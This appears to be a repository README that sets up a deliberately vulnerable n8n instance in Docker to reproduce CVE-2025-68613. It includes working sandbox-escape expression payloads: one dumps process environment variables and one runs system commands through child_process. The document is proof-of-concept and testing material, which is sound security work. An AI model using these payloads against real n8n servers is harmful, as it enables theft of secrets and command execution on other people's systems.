
Analysis of CVE-2025-68613
This repository provides a simple Docker Compose setup that runs a vulnerable n8n instance for local testing of CVE-2025-68613.
Start the container:
docker compose up -d
Open n8n in your browser:
Log in with the default credentials set in docker-compose.yml:
adminpassworddocker compose down
This environment is for local, isolated testing only. Do not expose this instance to the public internet or any untrusted network. Keep it on a private, local-only network segment and separate from production systems. Use at your own risk.
Once the container is running, you can access the n8n interface at http://localhost:5678. To test the vulnerability, you will inject a malicious JavaScript payload into an expression field. Steps to Reproduce:
{{ (function() { return this.process.env; })() }}

Test 2: Remote Code Execution (RCE) This payload attempts to load the child_process module to run system commands (e.g., whoami).
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}

Expected Result: If the environment is vulnerable, the "Output" panel of the Set node will display the result of the command (e.g., root or the n8n user) or a JSON object containing the environment variables. If the instance were patched (e.g., version 1.122.0+), the sandbox would return an empty object or an error.